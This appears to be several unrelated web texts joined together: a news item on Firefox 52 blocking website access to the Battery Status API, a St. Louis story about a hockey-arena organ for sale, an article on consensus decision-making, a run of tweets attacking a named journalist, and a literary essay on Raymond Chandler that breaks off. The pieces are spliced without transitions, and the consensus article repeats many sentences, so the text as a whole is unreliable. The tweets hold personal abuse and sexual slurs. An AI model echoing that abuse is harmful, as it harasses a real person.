The API defined in this specification is used to determine the battery status of the hosting device. The information disclosed has minimal impact on privacy or fingerprinting, and therefore is exposed without permission grants. For example, authors cannot directly know if there is a battery or not in the hosting device.
The research paper "The leaking battery. A privacy analysis of the HTML5 Battery Status API" indicates however that the API can be abused for fingerprinting and thus online tracking (PDF version)
In short time intervals, Battery Status API can be used to reinstantiate tracking identifiers of users, similar to evercookies. Moreover, battery information can be used in cases where a user can go to great lenghts to clear her evercookies. In a corporate setting, where devices share similar characteristics and IP addresses, the battery information can be used to distinguish devices behind a NAT, of traditional tracking mechanisms do not work.
Firefox users can disable the Battery Status API in the browser by flipping the Boolean value of dom.battery.enabled to false on about:config (this is one of then many privacy and security preferences of Firefox covered here)
Type about:config in the Firefox address bar. Confirm that you will be careful if the warning prompt appears. Search for dom.battery.enabled. Double-click the preference to set it to false.
Starting with Firefox 52, websites may no longer access the API so that it can no longer be used for tracking purposes. Mozilla will keep the API open to extensions and Firefox itself however.
The change affects desktop and Android versions of the Firefox web browser. This means that only Chrome and Chromium-based browsers may be tracked using the API.
It is rather interesting to note that Mozilla is not aware of a legitimate use case of the API on Internet sites. (via Sören Hentzschel)
Now Read: The ultimate Online Privacy Test Resource List
Summary Article Name Mozilla cuts website access to Battery API in Firefox 52 Description Mozilla has made the decision to cut website access to the Battery Status API in Firefox 52 to improve user privacy while using the browser. Author Martin Brinkmann Publisher Ghacks Technology News Logo
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ST. LOUIS, MO (KTVI) - Bob Dienstbach has a priceless piece of St. Louis history.
"A friend of mine's father bought it directly from the Arena when they were selling off the bits and pieces." said Bob Dienstbach.
But after that owner passed Bob bought the behemoth for his family.
"We follow the Blues and all the ups and downs, strikes and everything else. But we're lifelong fans of the Blues so having just a piece of the history of that is pretty cool." said Bob Dienstbach.
This technisonic titan was manufactured in the late eighties, and if you attended a Blues hockey game at the old Arena, chances are you heard Ernie playing a familiar St. Louis tune.
But on our visit, Bob and I discovered a floppy disc and hand written notes from the musical maestro himself. History came alive before our very ears.
"We got a private concert with Ernie Hayes. Right, you and I discovered that there was a disc hidden in the seat. We popped it in and played around and found out that we had original music played by Ernie Hayes recorded. So that was a fun find." said Bob Dienstbach.
If you have $1,000 you might find yourself in possession of this piece of our shared St. Louis past.
Do you feel like you're asking enough for the price of this organ? "Well maybe not anymore, but it's time to move it and find it a good home." said Bob Dienstbach.
Maybe that's in the comfort of your own home with Ernie Hayes playing some familiar tunes.
Buy the organ: http://stlouis.craigslist.org
Web Extra Video:For the Wikipedia policy on consensus, see Wikipedia:Consensus
Members of the Shimer College Assembly reaching a consensus through deliberation.
Consensus decision-making is a group decision-making process in which group members develop, and agree to support a decision in the best interest of the whole group or common goal. Consensus may be defined professionally as an acceptable resolution, one that can be supported, even if not the "favourite" of each individual. It has its origin in the Latin word cōnsēnsus (agreement), which is from cōnsentiō meaning literally feel together.[1] It is used to describe both the decision and the process of reaching a decision. Consensus decision-making is thus concerned with the process of deliberating and finalizing a decision, and the social, economic, legal, environmental and political effects of applying this process.
Objectives [ edit ]
As a decision-making process, consensus decision-making aims to be:[2]
Agreement Seeking: A consensus decision-making process attempts to generate as much agreement as possible. [2]
A consensus decision-making process attempts to generate as much agreement as possible. Collaborative: Participants contribute to a shared proposal and shape it into a decision that meets the concerns of all group members as much as possible. [3]
Participants contribute to a shared proposal and shape it into a decision that meets the concerns of all group members as much as possible. Cooperative: Participants in an effective consensus process should strive to reach the best possible decision for the group and all of its members, rather than competing for personal preferences.
Participants in an effective consensus process should strive to reach the best possible decision for the group and all of its members, rather than competing for personal preferences. Egalitarian: All members of a consensus decision-making body should be afforded, as much as possible, equal input into the process. All members have the opportunity to present, and amend proposals.
All members of a consensus decision-making body should be afforded, as much as possible, equal input into the process. All members have the opportunity to present, and amend proposals. Inclusive: As many stakeholders as possible should be involved in the consensus decision-making process.
As many stakeholders as possible should be involved in the consensus decision-making process. Participatory: The consensus process should actively solicit the input and participation of all decision-makers.[4]
Alternative to common decision-making practices [ edit ]
Consensus decision-making is an alternative to commonly practiced group decision-making processes.[5] Robert's Rules of Order, for instance, is a guide book used by many organizations. This book allows the structuring of debate and passage of proposals that can be approved through majority vote. It does not emphasize the goal of full agreement. Critics of such a process believe that it can involve adversarial debate and the formation of competing factions. These dynamics may harm group member relationships and undermine the ability of a group to cooperatively implement a contentious decision. Consensus decision-making attempts to address the beliefs of such problems. Proponents claim that outcomes of the consensus process include:[3][6]
Better decisions: Through including the input of all stakeholders the resulting proposals may better address all potential concerns.
Better implementation: A process that includes and respects all parties, and generates as much agreement as possible sets the stage for greater cooperation in implementing the resulting decisions.
Better group relationships: A cooperative, collaborative group atmosphere can foster greater group cohesion and interpersonal connection.
Decision rules [ edit ]
Consensus is not synonymous with "unanimity"– though that may be a rule agreed to in a decision making process. The level of agreement necessary to finalize a decision is known as a "decision rule".[3][7] Possible decision rules for consensus include:
Person-in-charge decides Executive committee decides Simple majority Super majority thresholds (90%, 80%, 75%, two-thirds, and 60% are common). Consensus voting Condorcet consensus Unanimous agreement Unanimous consent (See Arriving at consensus below) Unanimous agreement minus one vote or two votes Unanimous consent minus one vote or two votes
Some groups use a consensus process to generate as much agreement as possible, but allow participants to finalize decisions with a decision rule that does not require unanimity. In such cases dissenters still must live with the decision. Groups that require unanimous agreement or consent (unanimity) may have their decisions blocked by objection by any participant. These groups use the term consensus to denote both the discussion process and the decision rule. It is by definition the most difficult to achieve, but also the most durable, since everyone involved has given their consent.
Arriving at consensus [ edit ]
Consent must be 'genuine and cannot be obtained by force, duress or fraud.'[8] Giving consent does not necessarily mean that the proposal being considered is one’s first choice. Group members can vote their consent because they choose to cooperate with the direction of the group, rather than insist on their personal preference. Sometimes the vote on a proposal is framed, “Is this proposal something you can live with?” This relaxed threshold for a yes vote can achieve full consent. However, the values of consensus are not realized if consent is given merely because dissenting participants are frustrated with the process and wanting to move on.
The process of achieving consent deliberately seeks objections, which reveal wisdom that can be used to improve proposals and agreements. An objection is a reason why doing what is proposed stands in the way of satisfying needs or goals, which the proposal aims to satisfy. Consent implies the absence of reasonable objections, that is, objections strong enough to deny giving it.
Consensus in majority or super-majority decision rules [ edit ]
A consensus process can also be concluded with a majority or super-majority vote. This is especially common or useful in large and diverse groups that share the values underlying consensus. Consensus process, by definition, seeks the maximum possible levels of agreement or consent. Thus, if a group using a majority vote decision rule is dominated by a majority faction that does not seek the agreement of all participants, the process would not be considered "consensus." Regardless of the decision rule, the process is only "consensus" if it has embodied the value of striving for full agreement or consent. Sometimes the outcomes of consensus can be contrary to majority.
Condorcet consensus [ edit ]
Condorcet consensus is defined as a decision achieved by the Condorcet method, in which a winner (winning proposal, etc.) is that which can win a head-to-head contest with any other under consideration. It does not require unanimous or near-unanimous consensus - which cannot be realistically reached in large group sizes - but maximizes satisfaction rate. It can also be argued that when a Condorcet consensus is reached, further deliberation will only strengthen and further specify this consensus.[citation needed]
Consensus voting [ edit ]
The outcome of a multi-option ballot, if measured according to the Condorcet rule, will often be the same as the outcome of another preferential form of multi-option voting, the Modified Borda Count, MBC. If the outcome applying the latter meets any predetermined decision rule, it may be regarded as the consensus.
Near-unanimous consensus [ edit ]
Healthy consensus decision-making processes usually encourage expression of dissent early, maximizing the chance of accommodating the views of all minorities. Since unanimity may be difficult to achieve, especially in large groups, or consent may be the result of coercion, fear, undue persuasive power or eloquence, inability to comprehend alternatives, or plain impatience with the process of debate, consensus decision-making bodies may use an alternative decision rule, such as Unanimity Minus One (or U−1), or Unanimity Minus Two (or U−2).
Blocking and other forms of dissent [ edit ]
To ensure the agreement or consent of all participants is valued, many groups choose unanimity or near-unanimity as their decision rule. Groups that require unanimity allow individual participants the option of blocking a group decision. This provision motivates a group to make sure that all group members consent to any new proposal before it is adopted. Proper guidelines for the use of this option, however, are important. The ethics of consensus decision-making encourage participants to place the good of the whole group above their own individual preferences. When there is potential for a block to a group decision, both the group and dissenters in the group are encouraged to collaborate until agreement can be reached. Simply vetoing a decision is not considered a responsible use of consensus blocking. Some common guidelines for the use of consensus blocking include:[3][9]
Providing an option for those who do not support a proposal to “stand aside” rather than block.
Requiring a block from two or more people to put a proposal aside.
Requiring the blocking party to supply an alternative proposal or a process for generating one. [10]
Limiting each person’s option to block consensus to a handful of times in one’s life.
Limiting the option of blocking to decisions that are substantial to the mission or operation of the group and not allowing blocking on routine decisions.
Limiting the allowable rationale for blocking to issues that are fundamental to the group’s mission or potentially disastrous to the group.
Dissent options [ edit ]
A participant who does not support a proposal may have alternatives to simply blocking it. Some common options may include the ability to:
Declare reservations: Group members who are willing to let a motion pass but desire to register their concerns with the group may choose "declare reservations." If there are significant reservations about a motion, the decision-making body may choose to modify or re-word the proposal. [11]
Group members who are willing to let a motion pass but desire to register their concerns with the group may choose "declare reservations." If there are significant reservations about a motion, the decision-making body may choose to modify or re-word the proposal. Stand aside: A "stand aside" may be registered by a group member who has a "serious personal disagreement" with a proposal, but is willing to let the motion pass. Although stand asides do not halt a motion, it is often regarded as a strong "nay vote" and the concerns of group members standing aside are usually addressed by modifications to the proposal. Stand asides may also be registered by users who feel they are incapable of adequately understanding or participating in the proposal. [12] [13] [14]
A "stand aside" may be registered by a group member who has a "serious personal disagreement" with a proposal, but is willing to let the motion pass. Although stand asides do not halt a motion, it is often regarded as a strong "nay vote" and the concerns of group members standing aside are usually addressed by modifications to the proposal. Stand asides may also be registered by users who feel they are incapable of adequately understanding or participating in the proposal. Object: Any group member may "object" to a proposal. In groups with a unanimity decision rule, a single block is sufficient to stop a proposal. Other decision rules may require more than one objection for a proposal to be blocked or not pass (see previous section, Decision rules).
Process models [ edit ]
The basic model for achieving consensus as defined by any decision rule involves:
Collaboratively generating a proposal
Identifying unsatisfied concerns
Modifying the proposal to generate as much agreement as possible
All attempts at achieving consensus begin with a good faith attempt at generating full-agreement, regardless of decision rule threshold.
Specific models [ edit ]
In the spokescouncil model, affinity groups make joint decisions by each designating a speaker and sitting behind that circle of spokespeople, akin to the spokes of a wheel. While speaking rights might be limited to each group's designee, the meeting may allot breakout time for the constituent groups to discuss an issue and return to the circle via their spokesperson. In the case of an activist spokescouncil preparing for the A16 Washington D.C. protests in 2000, affinity groups disputed their spokescouncil's imposition of nonviolence in their action guidelines. They received the reprieve of letting groups self-organize their protests, and as the city's protest was subsequently divided into pie slices, each blockaded by an affinity group's choice of protest. Many of the participants learned about the spokescouncil model on the fly by participating in it directly, and came to better understand their planned action by hearing others' concerns and voicing their own.[15]
Consensus Voting [ edit ]
The group first elects, say, three referees or consensors. The debate on the chosen problem is initiated by the facilitator calling for proposals. Every proposed option is accepted if the referees decide it is relevant and conforms with the UN Charter on Human Rights. The referees produce and display a list of these options. The debate proceeds, with queries, comments, criticisms and/or even new options. If the debate fails to come to a verbal consensus, the referees draw up a final list of options - usually between 4 and 6 - to represent the debate. When all agree, the chair calls for a preferential vote, as per the rules for a Modified Borda Count, MBC. The referees decide which option, or which composite of the two leading options, is the outcome. If its level of support surpasses a minimum consensus coefficient, it may be adopted.
Blocking [ edit ]
Flowchart of basic consensus decision-making process.
Groups that require unanimity commonly use a core set of procedures depicted in this flow chart.[16][17][18]
Once an agenda for discussion has been set and, optionally, the ground rules for the meeting have been agreed upon, each item of the agenda is addressed in turn. Typically, each decision arising from an agenda item follows through a simple structure:
Discussion of the item: The item is discussed with the goal of identifying opinions and information on the topic at hand. The general direction of the group and potential proposals for action are often identified during the discussion.
The item is discussed with the goal of identifying opinions and information on the topic at hand. The general direction of the group and potential proposals for action are often identified during the discussion. Formation of a proposal: Based on the discussion a formal decision proposal on the issue is presented to the group.
Based on the discussion a formal decision proposal on the issue is presented to the group. Call for consensus: The facilitator of the decision-making body calls for consensus on the proposal. Each member of the group usually must actively state whether they agree or consent, stand aside, or object, often by using a hand gesture or raising a colored card, to avoid the group interpreting silence or inaction as agreement. The number of objections is counted to determine if this step's consent threshold is satisfied. If it is, dissenters are asked to share their concerns with proceeding with the agreement, so that any potential harms can be addressed/minimized. This can happen even if the consent threshold is unanimity, especially if many voters stand aside.
The facilitator of the decision-making body calls for consensus on the proposal. Each member of the group usually must actively state whether they agree or consent, stand aside, or object, often by using a hand gesture or raising a colored card, to avoid the group interpreting silence or inaction as agreement. The number of objections is counted to determine if this step's consent threshold is satisfied. If it is, dissenters are asked to share their concerns with proceeding with the agreement, so that any potential harms can be addressed/minimized. Identification and addressing of concerns: If consensus is not achieved, each dissenter presents his or her concerns on the proposal, potentially starting another round of discussion to address or clarify the concern.
If consensus is not achieved, each dissenter presents his or her concerns on the proposal, potentially starting another round of discussion to address or clarify the concern. Modification of the proposal: The proposal is amended, re-phrased or ridered in an attempt to address the concerns of the decision-makers. The process then returns to the call for consensus and the cycle is repeated until a satisfactory decision passes the consent threshold for the group.
Quaker-based model [ edit ]
Quaker-based consensus[19] is said to be effective because it puts in place a simple, time-tested structure that moves a group towards unity. The Quaker model is intended to allow hearing individual voices while providing a mechanism for dealing with disagreements.[20][21][22]
The Quaker model has been adapted by Earlham College for application to secular settings, and can be effectively applied in any consensus decision-making process.
Its process includes:
Multiple concerns and information are shared until the sense of the group is clear.
Discussion involves active listening and sharing information.
Norms limit number of times one asks to speak to ensure that each speaker is fully heard.
Ideas and solutions belong to the group; no names are recorded.
Ideally, differences are resolved by discussion. The facilitator ("clerk" or "convenor" in the Quaker model) identifies areas of agreement and names disagreements to push discussion deeper.
The facilitator articulates the sense of the discussion, asks if there are other concerns, and proposes a "minute" of the decision.
The group as a whole is responsible for the decision and the decision belongs to the group.
The facilitator can discern if one who is not uniting with the decision is acting without concern for the group or in selfish interest.
Ideally, all dissenters' perspectives are synthesized into the final outcome for a whole that is greater than the sum of its parts. [19]
Should some dissenter's perspective not harmonize |
24, 2016
@ColleenMNelson @naternot Try doing your job & not being corrupt like Hillary & DNC & the rest of your MSM colleagues. Try telling the truth pic.twitter.com/anGb8L9k8Z — Mike Hoops (@HoopsPlayer1221) October 24, 2016
@ColleenMNelson I’m so glad everyone is seeing the media for what they are, partisan hacks! — MSM Is Cancer (@spazzTeeBee) October 24, 2016
@ColleenMNelson @naternot poor thing! Maybe if u weren’t pushing propaganda pretending to be a journo ppl wouldn’t think ur a piece of shit — CrookedHillary (@deplorablechuck) October 23, 2016
@ColleenMNelson @naternot You should be apologizing for being so unethical and corrupt. You want sympathy? Don’t hold your breath. — Trumpforprez (@danielgood359) October 24, 2016
@ColleenMNelson Playing the victim and dodging the real corruption issue is a typical #CrookedHillary camp response. #PodestaEmails16 — Adorable_Me (@LuddeLeBref) October 23, 2016
@ColleenMNelson @naternot you have ruined what once was a noble profession. — duneknight (@duneknight) October 24, 2016
@ColleenMNelson Do you prefer presstitute or just plain old whore? — jon nihilo (@jonnihilo) October 24, 2016
@ColleenMNelson You are the terminal disease that grips America. Trump is your chemo. You and your swamp life buddies are beneath contempt. — E Pluribus Trump (@lastchance4usa) October 24, 2016
@ColleenMNelson Maybe start with an apology and resignation. — JOSH JONES (@VolnMemphis) October 24, 2016In some strange way to be English is, often, to be a member of a cult of the dead, or, at the very least, a member of a cult of ruin.
--Ian Baucom, Englishness, Empire and the Locations of Identity
Raymond Chandler often liked to remind his friends and correspondents of his English public school education at Dulwich College in South London. Dulwich, he explained to his publisher Blanche Knopf in 1940, was "one of the larger English Public Schools, not ranking with Eton, Harrow, Charterhouse or Marlborough, but certainly ranking ahead of many of those which Life made a fuss over in its last issue." Life had run a short piece on public schools as part of a long photo-essay dedicated to "England" as Britain began its first major combat operations of World War II. Portraying a strange and distant country divided by class-based inequality and eccentric customs, Life described England's greatest contributions to civilization as "free speech and tea." Chandler noted, with some irritation, the magazine's inability to differentiate between a'school tie' and an 'old school tie.' Though he had dwelt in Southern California since 1912, he counted himself an expert in such matters. "I daresay these pathetic relics of a lost world are no longer worth accuracy," he went on (SL 15). However, if the onset of twentieth-century modernity had threatened the distinction of such badges of rank and status, then it was not quite true that Chandler himself had given up on them. In his 1953 novel The Long Goodbye, the narrative's fulcrum—Philip Marlowe's discovery of Eileen Wade's duplicity—turns upon his knowledge of British regimental badges from World War II. The badge she wears, and which she claims was given to her by Terry Lennox during his service in the Artists' Rifles, bears in fact a Special Air Service insigne and was not created until 1947, several years after his supposed death. Confronted with Marlowe's accusation, she admits that it is a reproduction bought in a New York shop specializing in "imported British luxuries, things like leather goods, hand-made brogues, regimental and school ties and cricket blazers, knickknacks with coats of arms on them and so on." The badge is a simulacrum of English prestige offered for sale across the Atlantic, and Chandler has lent Marlowe the authority to discriminate among such signs of upper-class gentility. If we accept Franco Moretti's classic thesis that the conservative structure of detective fiction demands the restoration of the social order, "to reinstate a preceding situation, a return to the beginning," then we might add that in Chandler's work this process included the rehabilitation of a certain form of endangered English authenticity along with the class-based hierarchy which authorizes it. In the case of both the old school tie and the regimental badge, Chandler's concern is to defend England's "pathetic relics" from appropriation by a foreign other. The interesting point for our analysis is that this other is not, as one might expect, Britain's enemy in World War II, but its ally, the United States.
My aim here is to reorientate our sense of Chandler's hardboiled fiction by understanding such transatlantic dynamics to betoken deeper structures of affiliation and exchange between his own sense of belated, embattled Englishness and the changing status of the United States as it developed into a global superpower in the first half of the twentieth century. These structures played a determining role in shaping a generic form which is often misrecognized as a pure native species. While Chandler's reputation as a paradigmatic figure in hardboiled literary history tends to entail an evasion of his transatlantic dialectic, I wish to suggest how the ghosts of his English cultural adolescence around the turn of twentieth century continued to haunt him throughout his mature career. My spectral imagery is not incidental, for in my reading of The Long Goodbye and "English Summer: A Gothic Romance," I will be examining the ways in which English presence is constantly conjured only to appear as its own fading afterlife, discernible in empty signs of death and loss. The culmination of these motifs comes in "English Summer," as the narrator is watched by "large, hollow eyes in which a world was already dead" while he crosses London's Russell Square. The campy Gothicism of this posthumously-published story has never been taken seriously by literary scholars. However, it is precisely its generic and stylistic excesses which will help us to understand how Chandler's transatlantic orientation structured his hardboiled fiction. In a 1949 letter he responded to a discussion of his work in Partisan Review by complaining of how, unlike the English, his American readers did not "see the strong element of burlesque in my kind of writing." He added, "there is a strong element of fantasy in the mystery story; there is in any kind of writing that moves within an accepted formula. The mystery writer's material is melodrama..." (SL 150). Melodrama, I will argue, was the means by which Chandler expressed his transatlantic hauntings and mourned the death of his English ideals.
It is appropriate, then, that the strains of Gothic burlesque and romance which Chandler understood to be fundamental to his writing have been largely absent from orthodox critical accounts of his work, along with serious consideration of his English affiliations. Like Dashiell Hammett, his inclusion in the canon has often been premised on his amenability to models of American vernacular modernism, and on the fetishization of an economical, restrained and implicitly masculinist prose style. This perspective is supported by comments Chandler himself made in his correspondence, for example writing in 1942 of his desire for a prose like Ernest Hemingway's, that was "cold and hard and clean and ventilated," purged, one must imagine, of the kind of mannerisms usually associated with the melodramatic mode of the European nineteenth century in its Gothic and romantic guises. In order for hardboiled fiction to approach the cultural prestige afforded high modernism—to become what several scholars have called "America's pulp modernism"—Chandler's Anglophile, melodramatic imagination could not be allowed to emerge and disrupt this disciplined surface. As Christine Gledhill has written, melodrama was constituted at the moment of modernism's emergence as a "fall from the seriousness and maturity of the realist novel... an anti-value in a critical field in which tragedy and realism became cornerstones of 'high' cultural value, needing protection from mass,'melodramatic' entertainment." To evoke Chandler's melodramatic excesses, as I intend to here, is then to suggest a failure of containment on numerous levels - those of cultural exceptionalism, periodization, genre, and, finally, of cultural stratification.
English Cultural Nostalgia and the Structure of Belatedness
In 1945 Chandler told his British publisher, Jamie Hamilton, that "incidentally, I still regard myself as an exile, and want to come back" (SL 62). Although born in Chicago to Irish parents, Chandler spent the years 1895-1912, between the ages of 7 and 24, living in South London, first as a schoolboy, then a civil servant, and finally as an execrable poet, essayist and reviewer on the fringes of the late Edwardian and early Georgian literary scene. He dreamed of returning from at least 1932, when he wrote a romantic poem eulogizing "the England I picture in the night hours / Of this bright and dismal land / Of my exile and dismay." When his wife Cissy died in 1955 he was finally able to fulfil this desire and spent much of his remaining life once again in London, albeit often disillusioned by the cultural decline he discovered there. In the sense that Chandler understood his own imaginative life to be shaped by displacement and nostalgia, his hardboiled fiction is itself an art of exile, haunted by the ghosts of nineteenth-century English cultural authority. It was only after World War II, however, that his self-conscious exile fully emerged in his fiction and correspondence as a sense of belatedness in which he recognized himself not only as English but also as Victorian. In 1946 he wrote to Alfred Knopf to acknowledge receipt of The Works of Max Beerbohm which had been lent to him:
I found it sad reading. It belongs to the age of taste, to which I once belonged. It took me back too far, to that slim immortal volume which I still possess. What a magnificent writer the old boy somehow did not become. Born half a century too late, I suppose. (SL 62)
Later in the same letter Chandler admitted "it is possibly that like Max Beerbohm I was born half a century too late, and that I too belong to an age of grace. I could so easily have become everything our world has no use for" (SL 64). It is an interesting slippage which transforms "the age of taste" into one of "grace" and thereby identifies the English fin de siècle as an oddly privileged moment of belatedness, associated not only with the aestheticist rejection of utilitarianism but also with a certain divinely sanctioned authority, lost in the course of the twentieth century. Chandler's notebooks record his view that American style "is utilitarian and essentially vulgar," and his affinities with Beerbohm suggest the way in which fin-de-siècle aestheticism offered an implicit corrective to its shortcomings. Chandler had been a 6-year-old living in the Midwest when The Yellow Book was first published, confirming Beerbohm's rising reputation as one of London's great dandies, and yet it was with this moment in English cultural history that the hardboiled writer identified himself.
If the immediate postwar period produced in Chandler a particularly virulent form of nostalgia for the age of taste, it was in large part through contrast with the development of the American culture industry during the 1940s, or what he called the "entertainment trusts." These, as he wrote in his article "Ten Percent of Your Life," were "congeries of powerful organizations which existed solely to exploit the commercial value of talent in every possible direction and with the utmost possible disregard for artistic or intellectual values." "You cannot have art without a public taste and you cannot have a public taste without a sense of style and quality throughout the social structure" he told Hamish Hamilton in 1949, inviting implicit comparison with the late nineteenth century in England:
Curiously enough this sense of style seems to have very little to do with refinement or even with humanity. It can exist in a savage and dirty age but it cannot exist in the age of Milton Berle, Mary Margaret McBride, the Book of the Month Club, the Hearst press, and the Coca-Cola machine. (SL 181)
This increasingly desperate pessimism about the mass commercialization of culture in the American 1940s followed naturally from his experience of working as a Hollywood screenwriter between 1943 and 1948, and coincides with Adorno and Horkheimer's famous critique of the culture industry in Dialectic of Enlightenment, as well as with comparable polemics published by Clement Greenberg, Dwight MacDonald and others in Partisan Review, an intellectual periodical which Chandler subscribed to. Unlike these figures, however, who looked to the values of Franz Kafka, Arnold Schoenberg and abstract expressionism in order to resist mass culture, Chandler's response was a deliberately untimely one which staged an encounter between the ideals of fin-de-siècle English style, taste and social manners on one hand and the vacuous, commercialized cultural landscape of postwar Los Angeles on the other, to the apparent exclusion of the radical innovations of early-twentieth-century modernism. It is out of this strange dialectic that Chandler's late work The Long Goodbye evolved in the early 1950s.
The Long Goodbye was published in Britain in November of 1953, four months before it appeared in the United States. A year previously, Chandler had visited London for the first time in several decades, where he noted a new "aggressiveness about the working classes and the non-Public School types," and observed that "the real Public School types, or many of them, with their bird-like chirpings are becoming a little ridiculous" (SL 327). Given his concerns over the destabilization of the British class structure, it is appropriate that the real "mystery" in The Long Goodbye has little to do with finding the murderer of Sylvia Lennox, but instead involves the duplicitous appropriation of an inauthentic model of English upper-class identity and its necessary unmasking. When Marlowe first meets Terry Lennox he is drunk inside a Rolls-Royce Silver Wraith, the first car produced by the British luxury automobile firm after World War II. "He gets so goddam English when he's loaded" (420), complains his wife Sylvia as Terry politely thanks Marlowe for his assistance. The detective asks him if he is English, to which he replies "I've lived there. I wasn't born there" (422). Like Chandler himself, Terry Lennox's Englishness comes through assimilation rather than birthright. As Marlowe comments, "although he wasn't English he had some of the mannerisms" (431). The relationship which the two men form together is founded on the drinking of gimlets, made in the English way, and is symbolically consolidated when Terry leaves his English suitcase at Marlowe's apartment. However, in the novel's final episode, as Terry discards his Mexican disguise, it becomes clear to Marlowe that his admiration for Lennox's old-fashioned, genteel English ways has blinded him to the ethical void lurking behind a performed identity as inauthentic as his hammy Spanish accent:
You had nice ways and nice qualities, but there was something wrong. You had standards and you lived up to them, but they were personal. They had no relation to any kind of ethics or scruples. You were a nice guy because you had a nice nature. But you were just as happy with mugs or hoodlums as with honest men. Provided the hoodlums spoke fairly good English and had fairly acceptable table manners. (732-3)
The distinction we are invited to make here, between personal "standards" and a more substantive category of "ethics or scruples," belongs to the inscrutable realms of Marlowe's moral universe, a subject to which we will return later. For the moment, however, it is enough to note the way in which Terry Lennox is presented in The Long Goodbye as a seductive apparition of Englishness, made visible purely through signs and gestures of national affiliation, but ultimately devoid of presence. As he takes leave of Marlowe for the last time, the point is made in the most emphatic way: "'An act is all there is. There isn't anything else. In here -'he tapped his chest with the lighter - 'there isn't anything'" (734). Lennox returns twice from beyond the grave, once after his supposed death at the hands of the Gestapo in World War II, and once again after his faked suicide in Mexico. The classically Gothic motif which finds the repressed past erupting unbidden into the present is staged here as the return of hollow English etiquette emptied of its ethical content. In this sense the "long goodbye" of the novel's title refers to a series of failed exorcisms in which English ghosts cannot be laid to rest.
On occasions in The Long Goodbye, these English manners become refigured as the pursuit of an unattainable and empty ideal, in terms which recall the patterns of debates over pure aesthetics in the European fin de siècle. Chandler recalled in a 1947 letter having heard George Bernard Shaw lecture on art for art's sake in London in the early twentieth century, and remarked wistfully that it "seems to have meant something then" (SL 96). When Terry Lennox, sipping gimlets in Victor's bar, tells Marlowe that sex is "excitement of high order, but it's an impure emotion - impure in the aesthetic sense" (435), he is rehearsing arguments in which Chandler himself participated in his days as a littérateur on the London scene. In his 1912 essay "The Phrasemaker," he criticized the figure of the fastidious aesthete who shrinks from "the brutal, mercenary and vulgar sides of life," and "shuts his eyes to everything but perfection." The alternative aesthetics which Chandler proposes in this essay is espoused by the artist who can "embroider both the mud-puddles and the rose-gardens of life into his art." Marlowe's response to Lennox's aestheticist posturing and revulsion at the drunken women in the bar is comparably critical: "'Take it easy,' I said. 'So they're human, they sweat, they get dirty, they have to go to the bathroom. What did you expect - golden butterflies hovering in a rosy mist?'" (436). Like the phrasemaker's, Lennox's world is ordered "by its appeal to his own conception of beauty" and must therefore operate through a mechanism of hermetic exclusion which is offset by Marlowe's more comprehensive, universalist vision.
This hermeticism, which seeks to preserve a space uncontaminated by contemporary American vulgarity, becomes one of the most important themes in The Long Goodbye. Idle Valley in Encino, where Terry Lennox's "pseudo-English" (475) house is situated, along with the luxury residences of the Wades and Lorings, is characterized as "Paradise Incorporated, and also Highly Restricted. Only the nicest people. Absolutely no Central Europeans. Just the cream, the top drawer crowd, the lovely, lovely people... Pure gold" (624). The English locutions here (especially 'top drawer'), alongside the signs of xenophobia and self-congratulating elitism, combine to suggest a social correlative to Lennox's squeamish aestheticism. Chandler at one point wished to title the work "Summer in Idle Valley," in order to complement its dominant structural motif, whereby pristine, enclosed spaces associated with comfort and leisure, whether physical, ideological or aesthetic, are revealed to contain a malevolent void denoting the flight of ethical values. This structure is perhaps most clearly presented in the case of Harlan Potter, a press tycoon and father of the murdered Sylvia Lennox. As Marlowe describes him while they drink tea together, Potter emerges as a desperately belated figure nostalgic for the same fin-de-siècle moment with which Chandler identified himself: "you use what power you have to close off a private corner to live in as near as possible to the way you remember people lived fifty years ago before the age of mass production" (613). Indeed, Potter's attack on mass production sounds very much like Chandler's own, scattered through his correspondence from the same period in the 1950s, where the postwar boom in the United States is criticized for its reliance upon "an economy of overproduction." This moment of authorial self-identification is fraught, however, by the revelation of Potter's moral hypocrisy, for despite what he calls "the shocking decline in both public and private morals" (612), he would rather protect his own privileged status than find his daughter's killer. As Terry Lennox comments earlier in novel, Potter is "all Victorian dignity on the outside. Inside he's as ruthless as a Gestapo thug" (436).
Chandler's engagement with the notion of belated Englishness in The Long Goodbye indicates the way in which he used the novel as a means to structure his own conflicted, transatlantic identity. He wrote in 1950 of his first arrival in California before World War I, "with a beautiful wardrobe, a public-school accent... and a contempt for the natives which, I am sorry to say, has in some measure persisted to this day" (SL 236). It is precisely this question of persistence which is at stake in The Long Goodbye's transatlantic engagements, for the pseudo-colonial sense of English superiority inscribed there is postwar revenant which gestures towards a genuinely authoritative presence buried elsewhere, even as it raises the possibility that such a presence is itself an illusion. The elsewhere from which these spectres emerge is both England and the past, which for the moment remain safely inaccessible to 1950s Los Angeles. Whereas in earlier novels such as The High Window authenticity is figured in a discoverable object (not incidentally, a coin from the colonial period), the pleasures of the treasure-hunting romance are here transformed into a Gothic betrayal of doubt over the very concept of origins.
Hardboiled Melodrama and the Moral Occult
The most melodramatic moment in Chandler's oeuvre occurs in his first novel, The Big Sleep, when Carmen Sternwood leaves Marlowe's bed after having her sexual advances rejected by the detective. Marlowe stands at the window, listening to the sounds of Carmen shutting the door to the apartment building, walking to her car and driving away:
I went back to the bed and looked down at it. The imprint of her head was still in the pillow, of her small corrupt body still on the sheets. I put my empty glass down and tore the bed to pieces savagely.
Throughout the vexed critical history of the term "melodrama," the notion of excess remains one of the few constants. Marlowe's violent displacement of his desire for Carmen onto the bed is an excess which follows from the breakdown of the economy of control imposed by the detective upon all his conduct. The particular effectiveness of this passage comes, however, from the way in which control is re-established through style just as it is relinquished to savage violence at the level of plot. Walter Mosley has argued, as a hardboiled writer himself, that the language of the genre is "a form of understanding how helpless we are in the face of our passions, our power, and our innate inability to do right on the grand scale of society." While suggestive of the melodramatic economy I am sketching out here, Mosley's perspective does not take account of the way in which hardboiled style always reasserts control over content even as it threatens to unravel. In this sense, it exists in a permanent state of crisis. The dialectic of style and plot, in which violence and excess is experienced inversely, as its own afterimage projected onto the barely restraining surfaces of language, is one of hardboiled's most defining characteristics.
In film studies, where the study of melodrama has received greater coverage than in literary studies, such processes of containment and excess have long been associated with the melodramatic mode. As Geoffrey Nowell-Smith suggested in his essay on Italian film director Vicente Minnelli, the repressive forces at play in the structure of melodramatic film (in this case the patriarchal structure of the family) tend to generate emotional and libidinal excesses which cannot be accommodated:
